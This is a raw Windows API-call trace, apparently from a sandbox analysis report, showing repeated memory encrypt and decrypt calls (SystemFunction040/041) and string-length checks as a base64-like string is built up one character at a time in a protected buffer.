SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.847] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0136.847] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.847] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0136.847] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0136.847] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.847] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0136.847] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.847] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0136.847] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0136.847] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.847] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0136.847] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.847] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0136.847] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0136.848] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.848] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0136.848] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.848] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0136.848] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0136.848] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.848] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0136.848] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.848] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0136.848] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0136.848] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0136.848] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0136.848] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.848] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0136.848] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.849] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0136.849] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0136.849] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.849] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0136.849] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.849] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0136.849] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0136.849] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.849] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0136.849] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.849] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0136.849] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0136.849] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.849] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0136.849] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.849] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0136.849] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0136.849] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.850] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0136.850] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.850] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0136.850] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0136.850] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.850] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0136.850] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.850] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0136.850] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0136.850] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.850] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0136.850] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.850] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0136.850] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0136.850] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.851] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0136.851] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.851] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0136.851] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0136.851] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0136.851] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0136.851] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.851] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0136.851] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.851] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0136.851] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0136.851] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.851] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0136.851] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.851] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0136.851] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0136.851] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.852] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0136.852] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.852] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0136.852] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0136.852] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.852] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0136.852] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.852] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0136.852] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0136.852] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.852] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0136.852] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.852] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0136.852] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0136.852] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.853] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0136.853] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.853] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0136.853] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0136.853] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.853] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0136.853] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.853] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0136.853] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0136.853] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.853] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0136.853] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.853] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0136.853] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0136.853] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0136.853] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0136.853] SystemFunction041 (in: Memory=0x8ebfaf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfaf4) returned 0x0 [0136.854] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0136.854] SystemFunction040 (in: Memory=0x8ebfaf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfaf4) returned 0x0 [0136.854] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0136.854] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0136.854] SystemFunction041 (in: Memory=0x8ebfaf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfaf4) returned 0x0 [0136.854] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0136.854] SystemFunction040 (in: Memory=0x8ebfaf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfaf4) returned 0x0 [0136.854] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0136.854] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0136.854] SystemFunction041 (in: Memory=0x8ebfaf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfaf4) returned 0x0 [0136.854] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0136.854] SystemFunction040 (in: Memory=0x8ebfaf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfaf4) returned 0x0 [0136.854] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0136.854] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0136.854] SystemFunction041 (in: Memory=0x8ebfaf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfaf4) returned 0x0 [0136.855] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0136.855] SystemFunction040 (in: Memory=0x8ebfaf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfaf4) returned 0x0 [0136.855] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0136.855] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0136.855] SystemFunction041 (in: Memory=0x8ebfaf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfaf4) returned 0x0 [0136.855] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0136.855] SystemFunction040 (in: Memory=0x8ebfaf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfaf4) returned 0x0 [0136.855] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0136.855] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0136.855] SystemFunction041 (in: Memory=0x8ebfaf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfaf4) returned 0x0 [0136.855] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0136.855] SystemFunction040 (in: Memory=0x8ebfaf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfaf4) returned 0x0 [0136.855] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0136.855] SysStringLen 